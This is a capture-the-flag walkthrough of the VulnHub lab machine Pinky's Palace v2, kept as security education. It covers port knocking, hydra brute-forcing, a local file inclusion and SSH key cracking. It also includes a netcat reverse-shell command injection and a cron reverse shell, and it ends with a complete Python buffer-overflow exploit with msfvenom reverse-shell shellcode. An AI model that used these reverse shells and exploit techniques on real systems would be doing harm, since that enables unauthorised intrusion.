CTF: Pinky’s Palace v2 (HARD) – vulnhub CTF walkthrough

VM: Pinky’s Palace v2
Author: Pink_Panther (vulnhub) @Pink_P4nther​​ (twitter)
Series: Pinky’s Palace
Difficulty: Beginner/Intermediate
Privilege Escalation: Intermediate/Highly Advanced*
Target IP: 10.0.0.5
Target host: pinkydb

* requires reverse engineering techniques to escalate privileges

Phase 1: Enumeration

During the initial enumeration, Pinky’s Palace v2 exposes just 1 accessible port – a web server:
nmap full-range scan - Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
# nmap -O -sT -sV -p- -T5 10.0.0.5
The web server is running a wordpress blog, and my approach was to start enumerating wordpress data using wpscan. Enuerating the wordpress users on the target. As the vulnhub description states, you have to add an entry to your /etc/hosts file using the following command as the wordpress isn’t rendering correctly otherwise (you may get a “freezing” response while trying to access it by IP):
echo 10.0.0.5 pinkydb | sudo tee -a /etc/hosts
I’ll be skipping any unnecessary details as the CTF is long and I’m just describing the important findings during my approach to solving the challenge. wpscan enumerated the following user:
discovering user pinky1337 - Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
# wpscan -u http://pinkydb –enumerate u
While keeping to enumerate things further, I left a brute-force scan on this user which didn’t discover a useful password running for more than a day, so I wrote down the username for future reference. Trying any simple easily-guessable password combinations like “admin”, “pinky”, “pinky’s palace” or anything like that didn’t work either. dirb showed an interesting directory using its default common list, which was standing out except for the regular wordpress directory tree:
Port knocking - Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
# dirb http://10.0.0.5 – Discovering a secret directory
After checking out the contents of the directory there’s a single .txt file residing named “bambam.txt“, containing some numeric values:
Port Knocking - Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
Discovering a hidden file using dirb
So my guess was this is either an encoded password or a port knocking sequence. Having in mind the rest of the ports in the initial port scan were reported by nmap as “filtered” rings a bell that this is most likely a port knocking sequence. There are a few possible combinations using the above values, which can be tested using either a bash for loop or using the -r option of nmap which doesn’t randomize ports and “knocks” them in the provided sequence:
nmap -Pn -sT -r -p666,7000,8890 pinkydb
I’m not sure if there’s _actually_ a correct sequence, or if all the possible options have to be tested as during reboots of the VM a different sequence was required to open the port. Of course there’s a smarter approach to do this, but for such a task it’s not effective to write a script which would calculate all the possible combinations (still if anyone’s into this I suggest swapping the numbers with A, B, C and writing a permutation algorithm which lists all the possible sequences without repetition. It’s not a 5 minute task so like I said above it’s not effective, I tried myself and lost hours on a bogus script which I seem to have wiped). So if we swap the numbers with letters for readability, we have the following pattern: A is “8890” B is “7000” C is “666” The possible combinations we have are: ABC ACB BAC BCA CAB CBA Mathematically speaking the formula is to power the number by itself (i.e. 3^3 = 9) but this self we get three repetitive pairs, so for port knocking it’s actually 6. A small script to test all possible combinations would go like this:
 
 #!/bin/bash
 A="8890"
 B="7000"
 C="666"
 cmd="nmap -Pn -sT pinkydb -p"
 for i in "$A $B $C"; do $cmd $i; sleep 1; done
 for i in $A $C $B; do $cmd $i; sleep 1; done
 for i in $B $A $C; do $cmd $i; sleep 1; done
 for i in $B $C $A; do $cmd $i; sleep 1; done
 for i in $C $A $B; do $cmd $i; sleep 1; done
 for i in $C $B $A; do $cmd $i; sleep 1; done

#combinations used to unlock manually:
 #for i in 7000 666 8890; do nmap -Pn -sT pinkydb -p $i; sleep 1; done
 #for i in 666 7000 8890; do nmap -Pn -sT pinkydb -p $i; sleep 1; done
 #for i in 8890 666 7000; do nmap -Pn -sT pinkydb -p $i; sleep 1; done
 #for i in 8890 7000 666; do nmap -Pn -sT pinkydb -p $i; sleep 1; done
After running the above script the additional ports reported as filtered earlier should now be accessible:
Additional ports unlocked - Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
# nmap -sT -sV –top-ports 1000 pinkydb
And by running my script I just got knocked out. So you have to keep in mind that there’s an unlocking and there’s a locking combination as well.  So to isolate the locking combination and to discover what actually unlocks the additional ports I altered the script above as following:
#!/bin/bash
A="8890"
B="7000"
C="666"
cmd="nmap -Pn -sT pinkydb -p"
for i in $A $B $C; do $cmd $i; sleep 1; done
nc -vz -w 1 pinkydb 31337
echo "Combination: $A $B $C"
read -p "Continue (enter, ctrl+c to exit)?"
for i in $A $C $B; do $cmd $i; sleep 1; done
nc -vz -w 1 pinkydb 31337
echo "Combination: $A $C $B"
read -p "Continue (enter, ctrl+c to exit)?"
for i in $B $A $C; do $cmd $i; sleep 1; done
nc -vz -w 1 pinkydb 31337
echo "Combination: $B $A $C"
read -p "Continue (enter, ctrl+c to exit)?"
for i in $B $C $A; do $cmd $i; sleep 1; done
nc -vz -w 1 pinkydb 31337
echo "Combination: $B $C $A"
read -p "Continue (enter, ctrl+c to exit)?"
for i in $C $A $B; do $cmd $i; sleep 1; done
nc -vz -w 1 pinkydb 31337
echo "Combination: $C $A $B"
read -p "Continue (enter, ctrl+c to exit)?"
for i in $C $B $A; do $cmd $i; sleep 1; done
nc -vz -w 1 pinkydb 31337
echo "Combination: $C $B $A"
#read -p "Continue (enter, ctrl+c to exit)?"
This way after each port combination the script would output whether port 31337 is already opened and output the actual combination used as well. Of course this is far from optimized code which would not be effective if there was an additional port added to the port knocking sequence, but in this case it works wonders. What I’ve found using the above script are the following sequences:

UNLOCKING: 7000 666 8890
LOCKING: 8890 666 7000

So to unlock the additional ports the following bash command should work:
for i in 7000 666 8890; do nmap -Pn -sT pinkydb -p$i; done
So now there’s a ssh service accessible, a second web server running on port 7654, and an unknown service on port 31337, which is probably left by the author to be used at a later stage:
This is soon to be our backdoor into Pinky's Palace - Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
Port 31337 – Pinky’s backdoor?
Typing a string wouldn’t do anything and testing for command injection techniques is of no use here.

Phase 2: Vulnerability scan

The web server on port 7654
cewl pinkydb > pinky.wordlist
Although this seems to be unnecessary in this case, I usually go for different variations of a profiled wordlist using either john or sed, by altering all lowercase strings to upper case and merging the lists:
cat pinky.wordlist > wordlist.new; sed -e 's/.*/\L&/' pinky.wordlist >> wordlist.new ; sed -e 's/.*/\U&/' wordlist.new >> wordlist.new
or using JTR‘s rules
john --rules --stdout --wordlist=pinky.wordlist
So the next step is to try to brute-force the login form using the following users: pinky, pinky1337 and the password file from cewl as a wordlist.
hydra -L users -P pinky.wordlist pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid Username or Password"
Brute-forcing Pinky's web login form - Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
# hydra -L users -P pinky.wordlist pinkydb -s 7654 http-post-form “/login.php:user=^USER^&pass=^PASS^:Invalid Username or Password” -vV
User pinky1337 seems to be a false positive, however the credentials with username pinky and password Passione work out of the box: The very first thing to note except that there’s an RSA key available for download, is the web address url of the page –
Brute-forcing the web login form - Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
Web login form – pinky : Passione
http://pinkydb:7654/pageegap.php?1337=filesselif1001.php This does seem like a possible LFI vulnerability, and swapping the filename with the string “/etc/passwd” proves this:
Discovering an LFI on target pinkydb - checking /etc/passwd contents - Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
http://pinkydb:7654/pageegap.php?1337=/etc/passwd
This does confirm that a user with username “stefano” exists on the box. Checking the contents of the notes.txt file shows the following notes:
Notes on Stefano: Intern Web Developer who Created RSA key for security for him to login - Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
http://pinkydb:7654/credentialsdir1425364865/notes.txt
The pagegaap.php file does not seem to validate any session data so the RSA key could be downloaded either from the browser or directly using wget, as well as the LFI should be written down as a further agent to download any files needed from the webserver:
Stefano's RSA key - Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
Getting Stefano’s RSA
RSA requires a passphrase - Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
Stefano’s RSA key requries a passphrase
RSA Keys’ passphrases can be brute-forced using JTR by converting the key to the appropriate input format john can work with:
Brute-forcing an RSA passphrase using John
ssh2john id_rsa > id_rsa.john; john –wordlist=/usr/share/wordlists/rockyou.txt id_rsa.john
The passphrase of the RSA key is “secretz101“:
Getting a shell on target pinkydb - user stefano - Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
Stefano – ssh login – ssh -i id_rsa -l stefano -p 4655
And don’t get too excited as this is just the beginning of it.

Phase 3: Privilege Escalation Prerequisites

This is a phase where it’s actually required to escalate privileges to someone prior to escalating privileges to root. Upon enumerating stefano’s home directory an application named qsub can be noted within the tools folder:
Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
qsub application
The qsub application which has a suid bit set and would run on behalf of user pinky, seems to require a password to run, and on top of that there aren’t any readable permissions set for the current user. However, since its owned by the www-data group and we have an LFI vulnerability already available running with the permissions of these group, we could download it using wget:
wget http://pinkydb:7654/pageegap.php?1337=/home/stefano/tools/qsub -O qsub
The qsub application is a 64-bit executable which doesnt seem to be prone to any kind of a buffer overflow, but we could leverage a possible command injection vulnerability once the correct password has been found. Using the strings command or checking it through a hex editor wouldn’t work here (unless you have a really penetrative as the application needs to be analyzed dynamically using a debugger following each instruction. To get the password for the qsub program, run it through a debugger a choice (like edb or gdb) and follow the code. The trick here is that the password is not actually stored in the application itself, but is generated during run-time and equals to the TERM environment variable. The easiest and most user-friendly way I found to do this, even without any assembly knowledge is using the gdb debugger, breaking the main function and following the code from there:
gdb - Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
gdb –args ./qsub l33t
Stepping over a few times would provide some strlen checks which probably lead to the overlength string check resulting in the message “Bad Hacker!”. So the password of the application is actually the current value of the TERM environment variable in the environment where you run the script. After I tested the password with the value from the TERM environment variable and confirmed the findings are correct, the next step was to made a small test for command injection as the application is writing the user input to a file.  As the application is actually vulnerable to this type of attack, spawning a shell on behalf of pinky is already an easy task:
 $ ./qsub '`nc -nv 10.0.0.20 443 -e /bin/bash`'
shell - user pinky - Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
Command Injection on the qsub application – Getting a shell as user pinky
From this point let’s enumerate what user pinky has on the target. As one of the quick references into my penetration testing cheatsheet located within the Insecure / Unhandled file permissions section upon my enumeration after getting a shell earlier I already found a file owned by the group of pinky:
find / -group pinky 2>/dev/null
backup.sh - group pinky - user pinky - Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
A suspicious backup.sh file redsiding within /usr/local/bin – owned by the user “demon” and the group of “pinky”
As the file is actually owned by user demon and group pinky, and the shell that has just been spawned with the command injection vulnerability of the qsub application above, in the current shell state  you would not be able to read/write to the file. In order to get access to the contents of the file, the group has to be updated to the current user’s permissions:
newgrp
newgrp - group pinky - user pinky - Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
Getting read and write access to /usr/local/bin/backup.sh – Pinky’s Palace v2 (HARD) walkthrough
Now from this point, as this is supposedly a backup file run by a cron job, and as it’s owned by the user demon it’s probably executed with the permissions of the one, so we could just try to override the contents of the file with a new reverse shell session:
the 31337 daemon application - Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
Getting a shell with the permissions of user demon – Pinky’s Palace v2 walkthrough
Horray! After overriding the contents of the backup.sh  file with a reverse shell command and setting up the nc listener on the local host, after about a minute the target connects back to us with the permissions of the demon user. If you’ve done decent enumeration on the target, you may have already noticed that the daemon running on port 31337 is actually located within the /daemon directory:
find / -user demon 2>/dev/null
Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
Background: find / -user demon 2>/dev/nullGetting access to the daemon application on port 31337 – Pinky’s Palace v2 walkthrough
One more vital thing to note is that the application is actually run by root:
/daemon/panel - Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
The /daemon/panel application is run by root
So the /daemon/panel application now has to be downloaded and debugged as there was already a hint when connecting to the port stating this is to be a backdoor into Pinky’s Palace v2, which leads to the next step:

Phase 4: Privilege Escalation

After downloading the daemon application and try to inspect it using a regular debugger you would note that it may be of no use here, as the application actually uses forks. In order to trace any unexpected responses or crashes you have to debug it on an OS level, preferably using ltrace and/or strace. Here’s an example of catching the SEGFAULT (Segmentation fault) response using both ltrace and strace (Note that the -f option must be used in order to follow forks) by sending an overlength string of 200 A’s:
ltrace -f ./panel
SIGSERV (Segmentation fault) - Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
ltrace -f ./panel – Segmentation fault
 
strace -f ./panel
Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
strace -f ./panel
What happens above is that after 200 of A’s are sent to the application’s input the buffer exceeds its memory size resulting in a Segmentation fault and terminating of the child process. The application though spawns another child process and waits for a connection. A Buffer Overflow condition has now been identified,  and the next step is to try to build an exploit for it using the following steps: -> find the exact offset where the buffer overflow occurs
-> locate shellcode space available
-> find a return address
The exact offset could by found either by just writing the strace result to a file, then increase the string sent through the socket by 1 byte and keep sending it while strace/ltrace is running in the background using a bash loop, and see where the first Segmentation loop occurs:
for i in $(seq 1 200); do python -c "print 'A'*$i" | nc -v localhost 31337; done
Or using the smarter way using gdb’s PEDA plugin which provides, as stated by the author Python Exploit Development Assistance for GDB​ After running the application through gdb and triggering the buffer overflow condition, gdb reports that it actually occurs in the handlecmd() function of the application:
Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
RBP is overwritten with the buffer of A’s
Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
The Buffer Overflow occurs within the handlecmd function of the application
In order to find the exact offset, we have to create a unique string pattern using the pattern_create function in gdb-peda, then send the string to the daemon application, check the contents of RSP and use pattern_offset with the exact string stored into the RSP register:
Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
gdb-peda: Finding the exact offset using pattern_offset (showing the contents of RSP)
Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
gdb-peda: Finding the exact offset using pattern_offset
Exact offset found at byte 120 – this is the location where the buffer overflow occurs (this is explained a bit more detailed in IppSec’s video below). So now we have to find a return address, which we would then put after to offset in order to jump to the beginning of the string sent over, which is actually stored into the RSP register. Usually we would want to override the RIP register which contains the next instruction, but in this case the RBP is something like a temporary location to it, which is again explained in the video below. So we actually override the contents of RBP with a return address which would point to the beginning of RSP, where we could put our shellcode. To search for a jmp instruction within the application type “jmpcall” into gdb-peda’s command line interface:
Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
Finding a return address: call rsp instruction at 0x400cfb
There’s a call rsp instruction located at address 0x400cfb which would be our return address for the exploit. As there is 120 bytes of shellcode space to work with, and a linux reverse shell on a 64 bit platform (generated using msfvenom) takes 119 bytes we could use the linux/x64/shell_reverse_tcp payload:
msfvenom -a x64 -p linux/x64/shell_reverse_tcp LHOST=10.0.0.20 LPORT=443 -b 00 -f python
Exploit code:
import socket
from time import sleep

buf =  ""
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\xf5\x06\x7c\x87\x70\x76\xed"
buf += "\xbb\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x9f\x2f\x24\x1e\x1a\x74\xb2\xd1\xf4\x58\x73\x82\x38"
buf += "\xe1\xa5\x02\xf7\x06\x7d\x3c\x7a\x76\xed\xaf\xa4\x4e"
buf += "\xf5\x61\x1a\x66\xb7\xd1\xdf\x5e\x73\x82\x1a\x75\xb3"
buf += "\xf3\x0a\xc8\x16\xa6\x28\x79\xe8\xce\x03\x6c\x47\xdf"
buf += "\xe9\x3e\x56\x94\x97\x6f\x12\xa8\x03\x1e\xed\xe8\xbd"
buf += "\x8f\x9b\xd5\x27\x3e\x64\x5d\xfa\x03\x7c\x87\x70\x76"
buf += "\xed\xbb"

ret = "\xfb\x0c\x40\x00"

payload = "A"*(120-len(buf)) + buf + ret

HOST = '127.0.0.1'    # The local host
#HOST = '10.0.0.5'    # The remote host
PORT = 31337              # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
sleep(1)
data = s.recv(1024)
print data
s.send(payload)
print s.recv(1024)
s.close()
Exploit tested in a local environment:
Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
Testing exploit (local environment)
And the only thing left is to run the exploit against the target:
Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
Getting a root shell on Pinky’s Palace v2
Pinky's Palace v2 walkthrough - d7x - PromiseLabs blog
Capturing the Flag on Pinky’s Palace v2

Greetings to the author of this great CTF @Pink_P4nther who answered all my questions related to the exploit development tasks in a very friendly manner, while keeping the fun for me without unnecessary spoiling.

You may also check out this great video on Pinky’s Palace v2 published recently by @IppSec, describing some additional attack vectors at the beginning as well as using a neater port knocking technique during the enumeration phase. IppSec’s video also covers some reverse engineering techniques using the r2 debugger which are worth checking out.